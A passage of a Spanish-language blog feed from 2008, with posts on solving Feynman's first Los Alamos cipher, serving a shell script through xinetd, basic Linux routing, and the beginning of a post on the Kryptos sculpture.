rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/07/superado-bsgame1-de-blind-security.html' title='Superado bsgame#1 de Blind Security'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_q551Ajwo8ak/SIifGjgDB_I/AAAAAAAAAFI/r97s9P4MBRU/s72-c/bsgame.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-3711039656426578049</id><published>2008-07-20T14:05:00.000-07:00</published><updated>2008-12-04T01:28:25.456-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enigmas'/><category scheme='http://www.blogger.com/atom/ns#' term='Criptoanálisis'/><title type='text'>Los cifrados de Feynman</title><content type='html'>&lt;div style="text-align: left;"&gt;&lt;div style="text-align: justify;"&gt;El conocido físico &lt;a href="http://es.wikipedia.org/wiki/Richard_Feynman"&gt;Richard Feynman&lt;/a&gt; recibió tres mensajes codificados de los científicos de &lt;a href="http://en.wikipedia.org/wiki/Los_Alamos"&gt;Los Alamos&lt;/a&gt;, y después de no poder descifrarlos el mismo, los compartió con sus alumnos de &lt;a href="http://en.wikipedia.org/wiki/Caltech"&gt;Caltech&lt;/a&gt;. Actualmente solo se ha conseguido descifrar el primero de los mensages.&lt;br /&gt;&lt;br /&gt;Los tres mensajes cifrados son:&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;br /&gt;1. Easier&lt;br /&gt;MEOTAIHSIBRTEWDGLGKNLANEA&lt;br /&gt;INOEEPEYSTNPEUOOEHRONLTIR&lt;br /&gt;OSDHEOTNPHGAAETOHSZOTTENT&lt;br /&gt;KEPADLYPHEODOWCFORRRNLCUE&lt;br /&gt;EEEOPGMRLHNNDFTOENEALKEHH&lt;br /&gt;EATTHNMESCNSHIRAETDAHLHEM&lt;br /&gt;TETRFSWEDOEOENEGFHETAEDGH&lt;br /&gt;RLNNGOAAEOCMTURRSLTDIDORE&lt;br /&gt;HNHEHNAYVTIERHEENECTRNVIO&lt;br /&gt;UOEHOTRNWSAYIFSNSHOEMRTRR&lt;br /&gt;EUAUUHOHOOHCDCHTEEISEVRLS&lt;br /&gt;KLIHIIAPCHRHSIHPSNWTOIISI&lt;br /&gt;SHHNWEMTIEYAFELNRENLEERYI&lt;br /&gt;PHBEROTEVPHNTYATIERTIHEEA&lt;br /&gt;WTWVHTASETHHSDNGEIEAYNHHH&lt;br /&gt;NNHTW&lt;br /&gt;&lt;br /&gt;2. Harder&lt;br /&gt;XUKEXWSLZJUAXUNKIGWFSOZRAWURO&lt;br /&gt;RKXAOSLHROBXBTKCMUWDVPTFBLMKE&lt;br /&gt;FVWMUXTVTWUIDDJVZKBRMCWOIWYDX&lt;br /&gt;MLUFPVSHAGSVWUFWORCWUIDUJCNVT&lt;br /&gt;TBERTUNOJUZHVTWKORSVRZSVVFSQX&lt;br /&gt;OCMUWPYTRLGBMCYPOJCLRIYTVFCCM&lt;br /&gt;UWUFPOXCNMCIWMSKPXEDLYIQKDJWI&lt;br /&gt;WCJUMVRCJUMVRKXWURKPSEEIWZVXU&lt;br /&gt;LEIOETOOFWKBIUXPXUGOWLFPWUSCH&lt;br /&gt;&lt;br /&gt;3. New Message&lt;br /&gt;WURVFXGJYTHEIZXSQXOBGSV&lt;br /&gt;RUDOOJXATBKTARVIXPYTMYA&lt;br /&gt;BMVUFXPXKUJVPLSDVTGNGOS&lt;br /&gt;IGLWURPKFCVGELLRNNGLPYT&lt;br /&gt;FVTPXAJOSCWRODORWNWSICL&lt;br /&gt;FKEMOTGJYCRRAOJVNTODVMN&lt;br /&gt;SQIVICRBICRUDCSKXYPDMDR&lt;br /&gt;OJUZICRVFWXIFPXIVVIEPYT&lt;br /&gt;DOIAVRBOOXWRAKPSZXTZKVR&lt;br /&gt;OSWCRCFVEESOLWKTOBXAUXV&lt;br /&gt;B&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Veamos como resolver el primero de los mensajes.&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Se trata de un cifrado de transposición, el cual colocaremos en grupos de cinco letras:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;M E O T A&lt;br /&gt;I H S I B&lt;br /&gt;R T E W D&lt;br /&gt;G L G K N&lt;br /&gt;L A N E A&lt;br /&gt;I N O E E&lt;br /&gt;P E Y S T&lt;br /&gt;N P E U O&lt;br /&gt;O E H R O&lt;br /&gt;N L T I R&lt;br /&gt;O S D H E&lt;br /&gt;O T N P H&lt;br /&gt;G A A E T&lt;br /&gt;O H S Z O&lt;br /&gt;T T E N T&lt;br /&gt;K E P A D&lt;br /&gt;L Y P H E&lt;br /&gt;O D O W C&lt;br /&gt;F O R R R&lt;br /&gt;N L C U E&lt;br /&gt;E E E O P&lt;br /&gt;G M R L H&lt;br /&gt;N N D F T&lt;br /&gt;O E N E A&lt;br /&gt;L K E H H&lt;br /&gt;E A T T H&lt;br /&gt;N M E S C&lt;br /&gt;N S H I R&lt;br /&gt;A E T D A&lt;br /&gt;H L H E M&lt;br /&gt;T E T R F&lt;br /&gt;S W E D O&lt;br /&gt;E O E N E&lt;br /&gt;G F H E T&lt;br /&gt;A E D G H&lt;br /&gt;R L N N G&lt;br /&gt;O A A E O&lt;br /&gt;C M T U R&lt;br /&gt;R S L T D&lt;br /&gt;I D O R E&lt;br /&gt;H N H E H&lt;br /&gt;N A Y V T&lt;br /&gt;I E R H E&lt;br /&gt;E N E C T&lt;br /&gt;R N V I O&lt;br /&gt;U O E H O&lt;br /&gt;T R N W S&lt;br /&gt;A Y I F S&lt;br /&gt;N S H O E&lt;br /&gt;M R T R R&lt;br /&gt;E U A U U&lt;br /&gt;H O H O O&lt;br /&gt;H C D C H&lt;br /&gt;T E E I S&lt;br /&gt;E V R L S&lt;br /&gt;K L I H I&lt;br /&gt;I A P C H&lt;br /&gt;R H S I H&lt;br /&gt;P S N W T&lt;br /&gt;O I I S I&lt;br /&gt;S H H N W&lt;br /&gt;E M T I &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;E&lt;/span&gt;&lt;br /&gt;Y A F E &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;L&lt;/span&gt;&lt;br /&gt;N R E N &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;L&lt;/span&gt;&lt;br /&gt;E E R Y &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;I&lt;/span&gt;&lt;br /&gt;P H B E &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;R&lt;/span&gt;&lt;br /&gt;O T E V &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;P&lt;/span&gt;&lt;br /&gt;H N T Y &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;A&lt;/span&gt;&lt;br /&gt;T I E R &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;T&lt;/span&gt;&lt;br /&gt;I H E E &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;A&lt;/span&gt;&lt;br /&gt;W T W V &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;H&lt;/span&gt;&lt;br /&gt;T A S E &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;T&lt;/span&gt;&lt;br /&gt;H H S D &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;N&lt;/span&gt;&lt;br /&gt;G E I E &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;A&lt;/span&gt;&lt;br /&gt;Y N H H &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;H&lt;/span&gt;&lt;br /&gt;N N H T &lt;span style="font-weight: bold; color: rgb(255, 0, 0);"&gt;W&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Ahora podemos leer el mensaje de abajo a arriba empezando por el final.&lt;br /&gt;&lt;br /&gt;El mensaje resultante es:&lt;br /&gt;&lt;br /&gt;Whan that Aprill, with his shoures soote&lt;br /&gt;The droghte of March hath perced to the roote&lt;br /&gt;And bathed every veyne in swich licour,&lt;br /&gt;Of which vertu engendred is the flour;&lt;br /&gt;Whan Zephirus eek with his sweete breeth&lt;br /&gt;Inspired hath in every holt and heeth&lt;br /&gt;The tendre croppes, and the yonge sonne&lt;br /&gt;Hath in the Ram his halfe cours yronne,&lt;br /&gt;And smale foweles maken melodye,&lt;br /&gt;That slepen al the nyght with open eye-&lt;br /&gt;(So priketh hem Nature in hir corages);&lt;br /&gt;Thanne longen folk to goon on pilgrimag&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-3711039656426578049?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/3711039656426578049/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=3711039656426578049' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/3711039656426578049'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/3711039656426578049'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/07/los-cifrados-de-feynman.html' title='Los cifrados de Feynman'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-3914052555987205464</id><published>2008-05-31T11:00:00.000-07:00</published><updated>2008-12-04T01:28:25.535-08:00</updated><title type='text'>Sockets en shellscript con xinetd</title><content type='html'>&lt;h2&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;a name="Introduccion"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;div style="text-align: justify;"&gt;Existe la posibilidad de crear aplicaciones sencillas "tipo servidor" con  scripts de shell. Vamos a ver un ejemplo en el que se configurará el  daemon xinetd para abrir un socket y poner un programa a la escucha. En nuestro caso el programa en cuestión será un script, aunque podría utilizarse cualquier otro lenguaje de  programación.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configurando Xinetd: &lt;/span&gt;&lt;br /&gt;Generalmente disponcremos de un archivo de configuración de  xinetd similar al siguiente:&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;br /&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="black"&gt; &lt;pre&gt;$ cat /etc/xinetd.conf&lt;br /&gt;#&lt;br /&gt;# Simple configuration file for xinetd&lt;br /&gt;#&lt;br /&gt;# Some defaults, and include /etc/xinetd.d/&lt;br /&gt;&lt;br /&gt;defaults&lt;br /&gt;{&lt;br /&gt;    instances               = 60&lt;br /&gt;    log_type                = SYSLOG authpriv&lt;br /&gt;    log_on_success          = HOST PID&lt;br /&gt;    log_on_failure          = HOST&lt;br /&gt;    cps                     = 25 30&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; includedir /etc/xinetd.d&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/span&gt; Este indica la inclusión de los scripts situados en /etc/xinet.d/.&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="black"&gt; &lt;pre&gt;ls -lh /etc/xinetd.d/&lt;br /&gt;total 100K&lt;br /&gt;-rw-r--r--    1 root     root          563 nov 19 17:53 chargen&lt;br /&gt;-rw-r--r--    1 root     root          580 nov 19 17:53 chargen-udp&lt;br /&gt;-rw-r--r--    1 root     root          419 nov 19 17:53 daytime&lt;br /&gt;-rw-r--r--    1 root     root          438 nov 19 17:53 daytime-udp&lt;br /&gt;-rw-r--r--    1 root     root          341 nov 19 17:53 echo&lt;br /&gt;-rw-r--r--    1 root     root          360 nov 19 17:53 echo-udp&lt;br /&gt;-rw-r--r--    1 root     root          318 jun 23  2002 finger&lt;br /&gt;-rw-r--r--    1 root     root          370 sep  1  2002 imap&lt;br /&gt;-rw-r--r--    1 root     root          365 sep  1  2002 imaps&lt;br /&gt;-rw-r--r--    1 root     root          453 sep  1  2002 ipop2&lt;br /&gt;-rw-r--r--    1 root     root          359 sep  1  2002 ipop3&lt;br /&gt;-rw-r--r--    1 root     root          275 jul  5  2002 ntalk&lt;br /&gt;-rw-r--r--    1 root     root          335 sep  1  2002 pop3s&lt;br /&gt;-rw-r--r--    1 root     root          361 jun 24  2002 rexec&lt;br /&gt;-rw-r--r--    1 root     root          378 jun 24  2002 rlogin&lt;br /&gt;-rw-r--r--    1 root     root          431 jun 24  2002 rsh&lt;br /&gt;-rw-r--r--    1 root     root          317 jun 25  2002 rsync&lt;br /&gt;-rw-r--r--    1 root     root          312 nov 19 17:53 servers&lt;br /&gt;-rw-r--r--    1 root     root          314 nov 19 17:53 services&lt;br /&gt;-rw-r--r--    1 root     root          392 ago 11  2002 sgi_fam&lt;br /&gt;-rw-r--r--    1 root     root          263 jul  5  2002 talk&lt;br /&gt;-rw-r--r--    1 root     root          305 jul 23  2002 telnet&lt;br /&gt;-rw-r--r--    1 root     root          497 nov 19 17:53 time&lt;br /&gt;-rw-r--r--    1 root     root          518 nov 19 17:53 time-udp&lt;br /&gt;-rw-r--r--    1 root     root          276 ago 16  2002 vsftpd&lt;br /&gt;&lt;/pre&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt; Editando cualquiera de estos archivos puede verse la estructura que siguen los scripts. Para nuestro propósito debemos crear uno de estos scritps, por ejemplo el siguiente:&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;br /&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="black"&gt; &lt;pre&gt;service nuevoservicio&lt;br /&gt;{&lt;br /&gt;port            = 6666&lt;br /&gt;socket_type     = stream&lt;br /&gt;wait            = no&lt;br /&gt;user            = nobody&lt;br /&gt;server          = /usr/local/bin/NuestroServidor.sh&lt;br /&gt;log_on_success  += USERID&lt;br /&gt;log_on_failure  += USERID&lt;br /&gt;disable         = no&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt; El puerto escogido para la escucha debe estar especificado en el archivo /etc/services, en nuestro caso, el puerto 6666, no está especificado, por lo tanto añadimos la siguiente línea a /etc/services: &lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;br /&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="black"&gt; &lt;pre&gt;nuevoservicio 6666/tcp   # Nuestro servicio de prueba&lt;br /&gt;&lt;/pre&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt; Sencillo, ¿no?.&lt;br /&gt;&lt;br /&gt;Ahora solo necesitamos crear el script "NuestroServidor.sh" y colocarlo en /usr/local/bin.&lt;br /&gt;&lt;br /&gt;Podemos probar con el clásico:&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;br /&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="black"&gt; #!/bin/bash&lt;br /&gt;&lt;br /&gt;echo "Hello World!"&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;  Para que el servidor funcione correctamente debemos asegurarnos de que  dispone de permisos de ejecución para todos los usuarios.&lt;br /&gt;&lt;br /&gt;finalmente reiniciamos xinetd:&lt;br /&gt;&lt;/div&gt; &lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;br /&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="black"&gt; &lt;pre&gt;$ /etc/rc.d/init.d/xinetd restart&lt;br /&gt;Parando xinetd:                                            [  OK  ]&lt;br /&gt;Iniciando xinetd:                                          [  OK  ]&lt;br /&gt;&lt;/pre&gt; &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt; Podemos probar con:&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;br /&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bgcolor="black"&gt; $ telnet localhost 6666&lt;br /&gt;Trying 127.0.0.1...&lt;br /&gt;Connected to hackerbox (127.0.0.1).&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;Hello World!&lt;br /&gt;Connection closed by foreign host.&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt; El programa llamado por xinetd podría haberse desarrollado en  cualquier otro lenguaje de programación: C, Perl ... Lo interesante de esta forma de hacerlo es que permite la creación de servicios simples en un tiempo récord. Aunque no se debe olvidar que en estos sistemas la seguridad no es uno de sus fuertes. Con cuidado!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-3914052555987205464?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/3914052555987205464/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=3914052555987205464' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/3914052555987205464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/3914052555987205464'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/05/sockets-en-shellscript-con-xinetd.html' title='Sockets en shellscript con xinetd'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-1959496716902795641</id><published>2008-05-25T03:09:00.000-07:00</published><updated>2008-12-04T01:28:25.552-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redes'/><title type='text'>Enrutamiento básico en Linux</title><content type='html'>&lt;h2&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;a name="Introduccion"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;&lt;div style="text-align: justify; color: rgb(51, 51, 51);"&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Actualmente existen gran cantidad de herramientas basadas en GNU/Linux, *BSD y similares que permiten montar un router de una forma más o menos sencilla. Algunas de ellas incluso tienen bonitas interfaces gráficas que nos facilitan la tarea. Si nos movemos al terreno comercial, la oferta crece.&lt;br /&gt;&lt;br /&gt;Sin embargo en este artículo no vamos a tratar sobre estas herramientas si no sobre los cimientos que las sustentan. Vamos a ver como usar una máquina Linux para las tareas básicas de enrutamiento.&lt;br /&gt;&lt;br /&gt;Lo primero que necesitaremos es configurar las interfaces de red. Para esto utilizaremos la herramienta "ifconfig" disponible en cualquier SO Unix. A continuación tendremos que establecer rutas; utilizaremos "route".  Y finalmente, con el daemon "routed" configuraremos el protocolo de enrutamiento RIP.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;La herramienta ifconfig&lt;/span&gt;&lt;br /&gt;Para configurar las interfaces del sistema utilizaremos la herramienta "ifconfig". Esta herramienta viene con cualquier SO de la familia Unix, y suele estar ubicada en "/sbin". Los parámetros para configurar una interfaz mediante "ifconfig" son los  siguientes:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt; /sbin/ifconfig [interface] [IP] netmask [máscara] broadcast [broadcast]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Veamos un ejemplo, configuremos la interface eth0 con la IP 192.168.1.2:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/sbin/ifconfig eth0 192.168.1.2 netmask 255.255.255.0 broadcast 192.168.1.255&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;La herramienta route&lt;/span&gt;&lt;br /&gt;De la misma forma que utilizamos "ifconfig" para configurar las interfaces, disponemos de "route", para configurar rutas. La herramienta "route", ubicada en "/sbin" recibe los siguientes parámetros:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;&lt;span style="font-size:85%;"&gt;/sbin/route -[net|host] [IP] netmask [gw [IP]] dev [interface]&lt;/span&gt;  &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Una forma típica de llamara a "route" es la utilizada para configurar un gateway por defecto. Veamos la forma de hacerlo:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/sbin/route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Hemos añadimo una ruta de manera que los paquetes destinados a cualquier red  (0.0.0.0) se dirijan al gateway 192.168.1.1. Hay otra forma de hacerlo más utilizada:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/sbin/route add default gw 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Entendiendo como "default": "-net 0.0.0.0 netmask 0.0.0.0".&lt;br /&gt;&lt;br /&gt;Hemos configurado un gateway por defecto. Ahora configuremos una ruta normal.  Por ejemplo, enrutemos todos los paquetes destinados a 192.168.78.0 al gateway 192.168.1.1:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/sbin/route add -net 192.168.78.0 netmask 255.255.255.0 gw 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;El daemon routed&lt;/span&gt;&lt;br /&gt;A diferencia de lo que pasaba con "ifconfig" y "route", el daemon "routed" no viene instalado por defecto en el SO Linux. Pero no es difídil de  conseguir e instalar.&lt;br /&gt;&lt;br /&gt;Una vez instalado se ubica en "/sbin" o en "/usr/sbin". Ejecutarlo es fácil:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/usr/sbin/routed&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pero, ¿para que sirver routed?&lt;br /&gt;&lt;br /&gt;El daemon "routed" es la implementación del protocolo RIP (Routing Information  Protocol). La finalidad del protocolo RIP consiste en comunicar la estructura de la red a los routers vecinos. Esto soluciona el problema del mantenimiento  de rutas en redes grandes, donde sería del todo imposible añadir y borrar rutas  en función del estado de la red.     Script de ejemplo&lt;br /&gt;Según lo que se ha visto hasta ahora, configurar el enrutamiento básico en Linux es de lo más sencillo. Primero configuramos las interfaces, a continuación habilitamos un ruta por defecto y finalmente arrancamos el demonio "routed". Veamos un Script de ejemplo:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;#!/sbin/bash&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;# Habilitamos la redirección de paquetes&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;# Configuramos las interfaces&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/sbin/ifconfig eth0 192.168.1.2 netmask 255.255.255.0 broadcast 192.168.1.255&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/sbin/ifconfig eth1 192.168.2.1 netmask 255.255.255.0 broadcast 192.168.2.255&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/sbin/ifconfig eth2 192.168.3.1 netmask 255.255.255.0 broadcast 192.168.3.255&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;# Gateway por defecto&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/sbin/route add default gw 192.168.1.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;# Arrancamos routed&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:courier new;font-size:85%;"  &gt;/usr/sbin/routed&lt;/span&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bg="" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;&lt;table border="0" width="100%"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td bg="" style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-family:Helvetica,Arial,sans-serif;"&gt;  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-1959496716902795641?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/1959496716902795641/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=1959496716902795641' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1959496716902795641'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/1959496716902795641'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2008/05/enrutamiento-bsico-en-linux.html' title='Enrutamiento básico en Linux'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-6943471474039909823</id><published>2008-05-18T12:20:00.000-07:00</published><updated>2008-12-04T01:28:25.569-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enigmas'/><title type='text'>La escultura Kryptos</title><content type='html'>&lt;div style="text-align: justify;"&gt;En los exteriores de las oficinas de la CIA en Langley (Virgina) podemos encontrar  una escultura hecha por &lt;a href="http://es.wikipedia.org/w/index.php?title=James_Sanborn&amp;amp;action=edit&amp;amp;redlink=1" class="new" title="James Sanborn (aún no redactado)"&gt;James Sanborn&lt;/a&gt; hacia 1990.&lt;br /&gt;&lt;br /&gt;En esta enorme "ese" de bronce (tiene cuatro metros de altura) se esconden cuatro mensajes cifrados, escritos en inglés con 